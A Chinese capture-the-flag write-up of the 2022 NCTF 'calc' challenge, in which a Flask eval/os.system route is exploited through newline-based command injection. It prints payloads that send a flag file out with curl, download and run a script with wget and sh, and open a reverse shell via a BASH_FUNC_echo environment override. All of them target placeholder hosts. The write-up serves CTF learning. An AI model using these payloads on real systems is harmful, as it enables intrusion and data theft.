是真的菜

开始复现把

calc

访问之后获得源码



    @app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

可以看到 它定义了一个 clac路由 然后get的方式接受了一个num的参数

然后经过了 waf 最终 执行os.system (log)

这里我们可以传入 %27%27%27111%0als%09/%0a%27%27%27

返回

我们输入%27%27%27%27%27%27的目的是 不上上面的eval 报错

在py里面 三个引号表示一个字符串 所以 在 eval(num)这里不会报错的 (不过我不知道为什么我在我本地试是会报错的)

但是在远程是可以继续往下去执行的 要不然也不会去返回结果

return 实在 eval后面的所以 意思就是题目环境是没有什么问题的

然后 漏洞的真正的利用点是 os.system(log)

看看 log是怎么来的

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S" ,time.localtime()) ,ip ,num)

我们可控的点 就是 这个 nun 然后 会执行 os.system 这个函数 就是 直接可以执行系统命令 然后 由于上面 是 echo 然后我们可以随便 在 num这里写上 换行符 url编码之后就是 %0a 这样 前面所有拼接的 就被当成第一行 系统命令去执行了 然后 经过换行之后 执行第二行的系统命令 因为这里是 echo 命令 所以后面只添加一些字符串的 话是不会报错的 可以继续往下去执行 然后 由于空格被 过滤了 我们可以使用 tab键来代替空格 url编码是%09 然后 在 完成我们想要执行的额命令之后 后面 只需要拼接上 %0a 就可以继续换行执行下一行命令了

然后 具体执行什么命令呢

可以post发包

curl http://xxxxx:2333 -d @/Th1s_is__F1114g

%27%27%271%27%0awget%09-O%09./tmp/test5.txt%09http://xxxxxx/test11.txt%09%0a%273%27%27%27
%27%27%271%27%0Ash%09./tmp/test5.txt%0A%272%27%27%27

刚刚这个是非预期

后来github上发了源码 然后就出现了官方wp

如何修复非预期的呢 就是官方wp是通过变量覆盖 环境变量的

怎么覆盖 环境变量呢 由于过滤了 = 在python 中 可以用for 循环来覆盖变量

有因为过滤了空格 就可以用%09或者 这里利用python的特性 可以直接用[]来绕过空格

os.environ['BASH_FUNC_echo%%']='() { id; }'

覆盖这个环境变量就可以执行命令了 id就是我们想要执行的命令了

exp

[[str][0]for[%EF%BD%8Fs.environ[%27\x0\x42\x0\x41\x0\x53\x0\x48\x0\x5f\x0\x46\x0\x55\x0\x4e\x0\x43\x0\x5f\x0\x65\x0\x63\x0\x68\x0\x6f\x0\x25\x0\x25\x0\x7\x0\x0\x0\x27\x0\x28\x0\x29\x0\x20\x0\x7b\x0\x20\x0\x62\x0\x61\x0\x73\x0\x68\x0\x20\x0\x2d\x0\x69\x0\x20\x0\x3e\x0\x26\x0\x20\x0\x2f\x0\x64\x0\x65\x0\x76\x0\x2f\x0\x74\x0\x63\x0\x70\x0\x2f\x0\x78\x78\x78\x78\x78\x2f\x0\x32\x0\x33\x0\x33\x0\x33\x0\x20\x0\x30\x0\x3e\x0\x26\x0\x31\x0\x3b\x0\x20\x0\x7d%27]]]

2022NCTF的更多相关文章

随机推荐

  1. redis(1)NoSQL数据库简介

    1.1 技术发展 redis是用来解决性能问题的数据库 技术的分类: 解决功能性问题:Java.Jsp.RDBMS.Tomcat.HTML.Linux.JDBC.SVN 解决扩展性问题:Struts. ...

  2. LG P3803 【模板】多项式乘法

    \(\text{FFT}\) 模板 #include <cstdio> #include <iostream> #include <cmath> #define r ...

  3. LG P3809 【模板】后缀排序

    贴模板 注意:\(\text{id}\) 表示第二关键字排序后(其实无需排序,利用上轮的 \(\text{sa}\) 值即可)相应的第一关键字的位置 计数排序为了稳定性最后确定位置时要倒着开始 复制的 ...

  4. CF1141F2 Same Sum Blocks (Hard)

    题目传送门 思路 简单题. 不妨先预处理出每一个区间的 \(\sum\),然后离散化 \(\sum\),对于每个 \(\sum\) 开一个 \(\mathcal vector\) 记录所有区间的左右端 ...

  5. No.3.1

    JavaScript是什么? JavaScript是一种运行在客户端(浏览器)的编程语言,实现人机交互效果. 作用:网页特效(监听用户的一些行为让网页作出对应的反馈)     表单验证(针对表单数据的 ...

  6. 四种语言刷算法之 组合总和 II

    力扣40. 组合总和 II 1.C void back(int* candidates, int candidatesSize, int target,int start,int *path,int ...

  7. WPF项目需要不断更新前台图片时,碰到“System.IO.IOException: 文件“xxx”正由另一进程使用“问题的解决

    问题描述 项目中要求能不断拍照并更新显示图片,使用FileStream在本地创建了图片文件: 当下次重新拍照前删除之前拍过的图片时,提示"System.IO.IOException: 文件& ...

  8. mybatis动态标签——where、if

    mapper接口 public interface EmpMapper { List<Emp> getEmp(Emp emp); } mapper.xml <?xml version ...

  9. ASP.net EF动态映射实体

    1.配置EF与建立实体模型这里不做过多介绍.主要介绍如何动态映射实体模型 1.1.实现过程有很多种方式我们这里使用接口.然后扫描所有继承了该接口的实体类然后映射(也可以自行扩展使用特性) 首先我们新建 ...

  10. UISelector

    1.UiSelector的基本方法 UiSelector对象可以理解为一种条件对象,描述的是一种条件,可以配合UiObject使用得到某个符合条件的控件对象. 所有的方法都是public的,且都返回U ...